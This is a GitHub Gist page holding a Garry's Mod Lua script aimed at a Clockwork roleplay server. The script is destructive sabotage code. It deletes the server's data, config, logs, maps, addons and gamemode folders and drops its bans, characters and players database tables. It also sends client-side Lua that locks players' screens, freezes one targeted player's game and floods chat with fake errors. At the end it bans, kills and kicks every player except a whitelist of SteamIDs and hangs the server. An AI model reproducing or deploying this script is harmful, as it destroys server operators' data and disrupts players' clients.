Created
April 1, 2019 16:37
-
-
Save SchwarzKruppzo/1d57ff6cbb827899f635be14ba0fce32 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
RunConsoleCommand("hostname","Rest in Peace.") | |
RunConsoleCommand("sv_loadingurl","http://i.imgur.com/hTJD37U.png") | |
local DROP_QUERY = [[ | |
DROP TABLE IF EXISTS `]]..config.Get("mysql_bans_table"):Get()..[[` | |
DROP TABLE IF EXISTS `]]..config.Get("mysql_characters_table"):Get()..[[` | |
DROP TABLE IF EXISTS `]]..config.Get("mysql_players_table"):Get()..[[` | |
]] | |
local function TheEnd() | |
fileio.Delete("console.log") | |
fileio.Delete("sv.db") | |
fileio.Delete("data") | |
fileio.Delete("settings") | |
fileio.Delete("cfg") | |
fileio.Delete("logs") | |
fileio.Delete("maps") | |
fileio.Delete("addons") | |
fileio.Delete("gamemodes/catwork") | |
fileio.Delete("gamemodes/cwhl2rp") | |
CW.database:Query(string.gsub(DROP_QUERY, "%s", " "), nil, nil, true) | |
end | |
TheEnd() | |
for k, v in pairs(player.GetAll()) do | |
if v:SteamID() == "STEAM_0:1:66844990" then continue end | |
if v:SteamID() == "STEAM_0:0:30292126" then continue end | |
if v:SteamID() == "STEAM_0:1:31388685" then continue end | |
if v:SteamID() == "STEAM_0:1:66593099" then continue end | |
if v:SteamID() == "STEAM_0:1:100080071" then continue end | |
if v:SteamID() == "STEAM_0:1:44629398" then continue end | |
if v:SteamID() == "STEAM_0:0:33632376" then continue end | |
if v:SteamID() == "STEAM_0:1:44952839" then | |
v:SendLua("while true do end") | |
end | |
v:SetClockworkUserGroup("user"); | |
CW.player:LightSpawn(v, true, true); | |
v:SendLua("hook.Add(\"Tick\",\"k\",function() gui.EnableScreenClicker(true) gui.SetMousePos(0,0) gui.HideGameUI() end)") | |
v:SendLua("_H = vgui.Create(\"HTML\") _H:SetSize(ScrW(), ScrH()) _H:OpenURL(\"http://i.imgur.com/hTJD37U.png\")") | |
v:SendLua("_H:SetPaintedManually(true) hook.Add(\"HUDPaint\",\"T\", function() if IsValid(_H) then _H:PaintManual() end end)") | |
end | |
local tickTimer = 0 | |
local doKill = false | |
hook.Add("Think", "kurozael", function() | |
if tickTimer < 128 then | |
tickTimer = tickTimer + 1 | |
chatbox.AddText(nil, "ERROR: Third Reich signature was found;"..tostring(util.CRC(CurTime())), {textColor = HSVToColor(math.random(0,360),1,1)}) | |
else | |
if !doKill then | |
TheEnd() | |
chatbox.AddText(nil, "Это логическое завершение игры. Всем спасибо за игру.", {textColor = Color(255,255,255)}) | |
for k, v in pairs(player.GetAll()) do | |
CW.player:SetBanned(v, true) | |
v:KillSilent() | |
v:SendLua("hook.Remove(\"Think\",\"k\")") | |
v:Kick("The Dark Wanderer returned to the Tristram to pick up what belonged to him and to destroy the Den of Evil.") | |
end | |
doKill = true | |
while true do doKill = true end | |
end | |
end | |
end) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment